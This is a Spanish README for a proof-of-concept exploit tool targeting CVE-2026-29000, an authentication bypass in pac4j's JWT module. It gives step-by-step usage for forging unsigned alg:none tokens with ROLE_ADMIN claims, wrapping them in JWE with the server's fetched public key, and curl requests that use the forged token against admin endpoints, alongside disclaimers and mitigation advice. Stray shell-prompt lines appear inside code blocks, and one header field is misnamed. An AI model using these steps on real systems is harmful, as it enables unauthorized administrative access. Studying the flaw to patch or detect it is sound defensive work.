CVE-2026-29000: Prueba de Concepto de Bypass de Autenticación JWT en pac4j

Prueba de Concepto para CVE-2026-29000 - Una vulnerabilidad crítica de bypass de autenticación en la implementación JWT de pac4j que permite a atacantes falsificar tokens de administrador sin una firma válida.

⚠️ AVISO LEGAL

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El autor NO asume ninguna responsabilidad por el mal uso, daños o uso ilegal de este exploit.

• El acceso no autorizado a sistemas informáticos es ILEGAL en la mayoría de las jurisdicciones
• Los usuarios deben obtener permiso explícito por escrito antes de realizar pruebas
• El autor NO es responsable de ninguna consecuencia derivada del mal uso de esta herramienta
• Esta es una herramienta educativa y de investigación en seguridad - úsala ética y legalmente

📋 Resumen de la Vulnerabilidad

Esta vulnerabilidad explota una falla en el mecanismo de autenticación JWT de pac4j donde la biblioteca:

1. Acepta tokens sin firma con alg: "none" en el encabezado JWT
2. Confía en tokens envueltos en JWE sin validar correctamente la firma JWT interna
3. Permite la elevación de privilegios a través de claims personalizados en el payload sin firma

Un atacante puede crear un JWT sin firma con claims arbitrarios (como role: "ROLE_ADMIN"), cifrarlo en un contenedor JWE usando la clave pública del servidor y obtener acceso no autorizado a funcionalidades de administrador.

🎯 Requisitos Previos para una Explotación Exitosa

Requisitos del Lado del Servidor

Para que este exploit tenga éxito, el servidor objetivo debe cumplir TODAS las siguientes condiciones:

1. Endpoint JWKS Accesible

El servidor debe exponer sus claves públicas a través de uno de estos endpoints:

• /.well-known/jwks.json (endpoint OAuth/OIDC estándar)
• /api/auth/jwks (endpoint personalizado)

Por qué: El exploit obtiene automáticamente la clave pública del servidor para cifrar el token JWE falsificado.

2. Aceptación del Claim ROLE en JWT

El servidor debe:

• Aceptar y procesar un claim role en el payload del JWT
• Tener al menos un nivel de privilegio que otorgue acceso elevado (por ejemplo, ROLE_ADMIN)
• No validar la firma del JWT o permitir tokens sin firma

Roles Comunes:

• ROLE_ADMIN - Acceso administrativo completo
• ROLE_USER - Acceso de usuario estándar
• Roles personalizados dependiendo de la aplicación

3. Procesamiento de Tokens JWE

El servidor debe:

• Aceptar tokens JWE (cifrados) como autenticación válida
• Descifrar y procesar el JWT interno sin firma
• No verificar la firma del JWT interno ni comprobar el algoritmo

4. Configuración Vulnerable de pac4j

La aplicación debe usar pac4j con:

• Algoritmo configurado como "none" o validación de algoritmo inadecuada
• Cifrado JWE habilitado pero verificación de firma deshabilitada en el JWT interno
• Sin validación adicional de tokens más allá del descifrado JWE

🛠️ Instalación

Requisitos

• Python 3.7+
• Paquetes requeridos: requests, jwcrypto

Configuración

# Clonar el repositorio
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Instalar dependencias
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

🚀 Uso

Uso Básico

python3 exploit.py <TARGET_URL>

Ejemplo:

python3 exploit.py http://vulnerable-app.local:8080

El script hará lo siguiente:

1. Intentar obtener JWKS de endpoints estándar
2. Generar un JWT sin firma con role: "ROLE_ADMIN"
3. Cifrarlo usando la clave pública del servidor
4. Generar un token JWE listo para autenticación

Opciones Avanzadas

Nombre de Usuario Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --username john

Rol Personalizado

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Proporcionar JWKS Manualmente

Si el endpoint JWKS no es accesible públicamente, proporciona el JWK manualmente:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Ejemplo Completo con Todas las Opciones

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 Usando el Token Generado

El exploit genera un token JWE en el siguiente formato:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Realizando Solicitudes Autenticadas

Usa el token en solicitudes HTTP para acceder a endpoints protegidos:

# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Usando Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Ejemplo de Solicitud con Encabezado de Autorización

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 Cómo Funciona el Exploit

Paso 1: Crear JWT sin Firma

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Nombre de usuario
    "role": "ROLE_ADMIN",        # Nivel de privilegio
    "iss": "principal-platform", # Emisor
    "iat": 1234567890,          # Emitido en
    "exp": 1234571490           # Expiración (1 hora)
}

El JWT se crea sin firma (alg: "none"), lo cual normalmente es inválido pero aceptado por servidores vulnerables.

Paso 2: Obtener JWKS del Servidor

El exploit consulta:

1. /.well-known/jwks.json (estándar OAuth/OIDC)
2. /api/auth/jwks (endpoint personalizado)

Esto recupera la clave pública RSA del servidor necesaria para el cifrado.

Paso 3: Cifrar JWT como JWE

El JWT sin firma se cifra usando:

• Algoritmo: RSA-OAEP-256 (cifrado asimétrico)
• Cifrado: A128GCM (cifrado autenticado)
• Clave: Clave pública del servidor (evita la manipulación)

Esto crea un token JWE que el servidor puede descifrar pero no verificará la firma interna.

Paso 4: Usar el Token

El token JWE se incluye en el encabezado Authorization:

Authorization: Bearer <JWE_TOKEN>

El servidor vulnerable lo descifra y extrae el JWT sin firma, confiando en los claims sin verificar la firma.

🔐 Cadena de Vulnerabilidad

Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

⚠️ Detección e Indicadores

Indicadores del Lado del Servidor de Vulnerabilidad

1. Exposición del Endpoint JWKS

   • Comprobar si /.well-known/jwks.json o /api/auth/jwks es accesible públicamente

2. Registros de Validación JWT

   • Buscar registros que acepten tokens con alg: "none"
   • Advertencias sobre tokens sin firma siendo aceptados

3. Revisión de Configuración

   • Verificar si la verificación de firma de pac4j está deshabilitada
   • Verificar la configuración de descifrado JWE

Indicadores de Red

# Reconocimiento
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Verificar si los tokens JWE son aceptados
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ Mitigación y Corrección

Para Desarrolladores que Usan pac4j

1. Hacer Cumplir la Verificación de Firma

   root@kitploit:~

   // BAD - Accepts unsigned tokens
   JwtAuthenticator jwt = new JwtAuthenticator();
   jwt.setAlgorithm(null); // ❌ Vulnerable
   
   // GOOD - Requires valid signature
   JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
   jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
   

2. Validar el Algoritmo JWT

   • Nunca aceptar alg: "none"
   • Lista blanca de algoritmos permitidos (ej., RS256, HS256)
   • Rechazar tokens con algoritmos no coincidentes

3. Deshabilitar JWE si No es Necesario

   • Si la autenticación solo requiere JWT, deshabilitar el envoltorio JWE
   • Si se necesita JWE, verificar la firma del JWT interno de forma independiente

4. Actualizar pac4j

   • Aplicar parches de seguridad
   • Actualizar a una versión con verificación de firma habilitada por defecto

5. Agregar Capas de Validación de Tokens

   • Validar la expiración del token (claim exp)
   • Verificar el emisor (claim iss)
   • Cruzar referencias de roles contra una base de datos de confianza

Para Administradores de Sistemas

1. Restringir Acceso al Endpoint JWKS

   root@kitploit:~

   location /.well-known/jwks.json {
       allow 10.0.0.0/8;  # Solo redes internas
       deny all;
   }
   

2. Monitorear Registros de Autenticación

   • Alertar sobre tokens con alg: "none"
   • Marcar asignaciones de roles de administrador desde fuentes inesperadas

3. Segmentación de Red

   • Aislar servidores de autenticación
   • Restringir el endpoint JWKS a clientes autorizados

4. Auditorías de Seguridad Regulares

   • Revisar configuraciones de pac4j
   • Realizar pruebas de penetración a los mecanismos de autenticación

📊 Entorno de Prueba

Ejemplo de Configuración Vulnerable

@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}

📚 Referencias

• CVE ID: CVE-2026-29000
• Biblioteca Afectada: pac4j (módulo JWT)
• Vector de Ataque: Bypass de autenticación mediante JWT sin firma + cifrado JWE
• Puntuación CVSS: 9.8 (Crítica)

Recursos Relacionados

• Repositorio de GitHub de pac4j
• Mejores Prácticas de JWT
• Hoja de Referencia de JWT de OWASP

⚖️ Aviso Legal

Este exploit se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

El acceso no autorizado a sistemas informáticos es ilegal. Esta herramienta solo debe usarse en:

• Sistemas que poseas
• Sistemas con permiso explícito por escrito
• Compromisos de pruebas de penetración autorizadas

Los autores no son responsables por el mal uso o daños causados por esta herramienta.

📝 Licencia

Licencia MIT - Consulta el archivo LICENSE para más detalles.

👥 Contribuciones

¿Encontraste un error? ¿Tienes mejoras?

1. Haz un fork del repositorio
2. Crea una rama de características (git checkout -b feature/improvement)
3. Haz commit de los cambios (git commit -m 'Add improvement')
4. Sube a la rama (git push origin feature/improvement)
5. Abre un Pull Request

📞 Soporte

Para problemas, preguntas o sugerencias:

• Abre un issue en GitHub
• Incluye la versión objetivo de pac4j
• Adjunta registros y configuraciones relevantes

Última Actualización: Mayo 2026
Autor: Equipo de Investigación en Seguridad
Estado: PoC Educativa